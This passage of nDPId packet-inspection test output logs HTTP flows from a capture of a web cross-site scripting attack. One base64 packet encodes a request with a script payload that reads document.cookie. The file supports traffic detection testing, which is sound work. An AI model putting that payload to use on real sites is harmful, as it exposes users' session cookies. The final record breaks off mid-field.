+00432{"flow_id":489,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6961,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347802,"pkt_ts_usec":839128,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0tZRAAD4GEESsEAABwKgKMoAeAFBmW6emzHU3FIARAOVsoQAAAQEICgE8F4ID5eOs"} +00433{"flow_id":489,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6962,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347802,"pkt_ts_usec":839316,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA03+NAAEAG4\/TAqAoyrBAAAQBQgB7MdTcUZlunp4ARAONnVwAAAQEICgPl6PcBPBeC"} +00432{"flow_id":489,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6963,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347802,"pkt_ts_usec":840074,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0tZVAAD4GEEOsEAABwKgKMoAeAFBmW6enzHU3FYAQAOVnVQAAAQEICgE8F4ID5ej3"} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":6964,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":449,"flow_packet_id":6,"flow_first_seen":1499347729211,"flow_last_seen":1499347734819,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60314,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":6964,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":449,"flow_packet_id":6,"flow_first_seen":1499347729211,"flow_last_seen":1499347734819,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60314,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":6964,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":450,"flow_packet_id":6,"flow_first_seen":1499347730501,"flow_last_seen":1499347735819,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60328,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":6964,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":450,"flow_packet_id":6,"flow_first_seen":1499347730501,"flow_last_seen":1499347735819,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60328,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":6964,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":451,"flow_packet_id":6,"flow_first_seen":1499347731797,"flow_last_seen":1499347736820,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60342,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":6964,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":451,"flow_packet_id":6,"flow_first_seen":1499347731797,"flow_last_seen":1499347736820,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60342,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":6964,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":452,"flow_packet_id":6,"flow_first_seen":1499347733083,"flow_last_seen":1499347738820,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60356,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":6964,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":452,"flow_packet_id":6,"flow_first_seen":1499347733083,"flow_last_seen":1499347738820,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60356,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":6964,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":453,"flow_packet_id":6,"flow_first_seen":1499347734348,"flow_last_seen":1499347739820,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60370,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":6964,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":453,"flow_packet_id":6,"flow_first_seen":1499347734348,"flow_last_seen":1499347739820,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60370,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":6964,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":454,"flow_packet_id":6,"flow_first_seen":1499347735664,"flow_last_seen":1499347740821,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60384,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":6964,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":454,"flow_packet_id":6,"flow_first_seen":1499347735664,"flow_last_seen":1499347740821,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60384,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00433{"flow_id":490,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6967,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347803,"pkt_ts_usec":839295,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0LWZAAD4GmHKsEAABwKgKMoAsAFA\/CD4gKeW8Q4ARAOUYkQAAAQEICgE8GHwD5eTv"} +00432{"flow_id":490,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6968,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347803,"pkt_ts_usec":839542,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0VbJAAEAGbibAqAoyrBAAAQBQgCwp5bxDPwg+IYARAOMTkAAAAQEICgPl6fEBPBh8"} +00433{"flow_id":490,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6969,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347803,"pkt_ts_usec":840244,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0LWdAAD4GmHGsEAABwKgKMoAsAFA\/CD4hKeW8RIAQAOUTjgAAAQEICgE8GHwD5enx"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6976,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":493,"flow_packet_id":1,"flow_first_seen":1499347805119,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":32878,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":493,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6976,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347805,"pkt_ts_usec":119465,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8ZmVAAD4GX2usEAABwKgKMoBuAFBq0H\/ZAAAAAKACchDYowAAAgQFtAQCCAoBPBm8AAAAAAEDAwc="} +00445{"flow_id":493,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6977,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347805,"pkt_ts_usec":119592,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQgG5Z9D1oatB\/2qAScSBTDwAAAgQFtAQCCAoD5esxATwZvAEDAwc="} +00433{"flow_id":493,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6978,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347805,"pkt_ts_usec":120408,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0ZmZAAD4GX3KsEAABwKgKMoBuAFBq0H\/aWfQ9aYAQAOXyFgAAAQEICgE8GbwD5esx"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6985,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":494,"flow_packet_id":1,"flow_first_seen":1499347806390,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":32892,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":494,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6985,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347806,"pkt_ts_usec":390445,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8AxtAAD4GwrWsEAABwKgKMoB8AFC+iBnhAAAAAKACchDplwAAAgQFtAQCCAoBPBr6AAAAAAEDAwc="} +00444{"flow_id":494,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6986,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347806,"pkt_ts_usec":390543,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQgHy7zo2dvogZ4qAScSCwtQAAAgQFtAQCCAoD5exvATwa+gEDAwc="} +00432{"flow_id":494,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6988,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347806,"pkt_ts_usec":391318,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0AxxAAD4GwrysEAABwKgKMoB8AFC+iBniu86NnoAQAOVPvQAAAQEICgE8GvoD5exv"} +00432{"flow_id":491,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6991,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347806,"pkt_ts_usec":840453,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0ZRpAAD4GYL6sEAABwKgKMoBGAFBeRnDjEozdXIARAOW3RgAAAQEICgE8G2sD5edv"} +00432{"flow_id":491,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6992,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347806,"pkt_ts_usec":840676,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0MYNAAEAGklXAqAoyrBAAAQBQgEYSjN1cXkZw5IARAOOx1wAAAQEICgPl7N8BPBtr"} +00432{"flow_id":491,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6993,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347806,"pkt_ts_usec":841224,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0ZRtAAD4GYL2sEAABwKgKMoBGAFBeRnDkEozdXYAQAOWx1QAAAQEICgE8G2sD5ezf"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6997,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":495,"flow_packet_id":1,"flow_first_seen":1499347807664,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":32906,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":495,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6997,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347807,"pkt_ts_usec":664615,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8PG1AAD4GiWOsEAABwKgKMoCKAFAzSiBUAAAAAKACchBtFgAAAgQFtAQCCAoBPBw5AAAAAAEDAwc="} +00444{"flow_id":495,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6998,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347807,"pkt_ts_usec":664773,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQgIqXGWCRM0ogVaAScSCEtwAAAgQFtAQCCAoD5e2tATwcOQEDAwc="} +00432{"flow_id":495,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6999,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347807,"pkt_ts_usec":665486,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0PG5AAD4GiWqsEAABwKgKMoCKAFAzSiBVlxlgkoAQAOUjvwAAAQEICgE8HDkD5e2t"} +00432{"flow_id":492,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7003,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347807,"pkt_ts_usec":840987,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0jGBAAD4GOXisEAABwKgKMoBUAFDx5ZtlOr88B4ARAOVwAAAAAQEICgE8HGUD5eiu"} +00432{"flow_id":492,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7004,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347807,"pkt_ts_usec":841171,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA00d5AAEAG8fnAqAoyrBAAAQBQgFQ6vzwH8eWbZoARAONq1gAAAQEICgPl7dkBPBxl"} +00432{"flow_id":492,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7005,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347807,"pkt_ts_usec":841718,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0jGFAAD4GOXesEAABwKgKMoBUAFDx5ZtmOr88CIAQAOVq1AAAAQEICgE8HGUD5e3Z"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":7015,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":496,"flow_packet_id":1,"flow_first_seen":1499347810243,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":32932,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":496,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7015,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347810,"pkt_ts_usec":243756,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8+YpAAD4GzEWsEAABwKgKMoCkAFCAVuc3AAAAAKACchBWiAAAAgQFtAQCCAoBPB69AAAAAAEDAwc="} +00444{"flow_id":496,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7016,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347810,"pkt_ts_usec":243894,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQgKT1xLjSgFbnOKAScSC0twAAAgQFtAQCCAoD5fAyATwevQEDAwc="} +00432{"flow_id":496,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7017,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347810,"pkt_ts_usec":244637,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0+YtAAD4GzEysEAABwKgKMoCkAFCAVuc49cS404AQAOVTvgAAAQEICgE8Hr4D5fAy"} +00433{"flow_id":493,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7021,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347810,"pkt_ts_usec":841524,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0ZmdAAD4GX3GsEAABwKgKMoBuAFBq0H\/aWfQ9aYARAOXsfgAAAQEICgE8H1MD5esx"} +00433{"flow_id":493,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7022,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347810,"pkt_ts_usec":841768,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0za5AAEAG9inAqAoyrBAAAQBQgG5Z9D1patB\/24ARAOPm6QAAAQEICgPl8McBPB9T"} +00433{"flow_id":493,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7023,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347810,"pkt_ts_usec":842466,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0ZmhAAD4GX3CsEAABwKgKMoBuAFBq0H\/bWfQ9aoAQAOXm5wAAAQEICgE8H1MD5fDH"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":7030,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":497,"flow_packet_id":1,"flow_first_seen":1499347811525,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":32946,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00446{"flow_id":497,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7030,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347811,"pkt_ts_usec":525785,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8\/z1AAD4GxpKsEAABwKgKMoCyAFD5M+DDAAAAAKACchDizwAAAgQFtAQCCAoBPB\/+AAAAAAEDAwc="} +00445{"flow_id":497,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7031,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347811,"pkt_ts_usec":525877,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQgLJEEu3h+TPgxKAScSC8YgAAAgQFtAQCCAoD5fFyATwf\/gEDAwc="} +00434{"flow_id":497,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7032,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347811,"pkt_ts_usec":526679,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0\/z5AAD4GxpmsEAABwKgKMoCyAFD5M+DERBLt4oAQAOVbagAAAQEICgE8H\/4D5fFy"} +01216{"flow_id":495,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7033,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347811,"pkt_ts_usec":526686,"pkt_caplen":651,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":651,"pkt_l4_len":617,"pkt":"ABm5CmnxAMGxFOsxCABFAAJ9PG9AAD4GhyCsEAABwKgKMoCKAFAzSiBVlxlgkoAYAOVRtgAAAQEICgE8H\/4D5e2tR0VUIC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvP25hbWU9JTNDc2NyaXB0JTNFY29uc29sZS5sb2clMjglMjdVUUU3ME5HVjgwVzRaQlZXUUVMRE1STUJZOUJGNlc1NTJaQkhMM0Y0VzRNSVA3UjdLNiUyNyUyOSUzQmNvbnNvbGUubG9nJTI4ZG9jdW1lbnQuY29va2llJTI5JTNCJTNDJTJGc2NyaXB0JTNFIEhUVFAvMS4xDQpIb3N0OiAyMDUuMTc0LjE2NS42OA0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFgxMTsgTGludXggeDg2XzY0OyBydjo0NS4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzQ1LjANCkFjY2VwdDogdGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksKi8qO3E9MC44DQpBY2NlcHQtTGFuZ3VhZ2U6IGVuLVVTLGVuO3E9MC41DQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNClJlZmVyZXI6IGh0dHA6Ly8yMDUuMTc0LjE2NS42OC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvDQpDb29raWU6IHNlY3VyaXR5PWxvdzsgc2VjdXJpdHk9bG93OyBQSFBTRVNTSUQ9djZvb2tmNmUyNm4xaWRvNXNpdmU2c2FpNzENCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNCg0K"} +00917{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":7033,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":495,"flow_packet_id":4,"flow_first_seen":1499347807664,"flow_last_seen":1499347811526,"flow_tot_l4_data_len":729,"flow_min_l4_data_len":32,"flow_max_l4_data_len":617,"flow_avg_l4_data_len":182,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":32906,"dst_port":80,"l4_proto":"tcp","ndpi": {"flow_risk": {"12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": 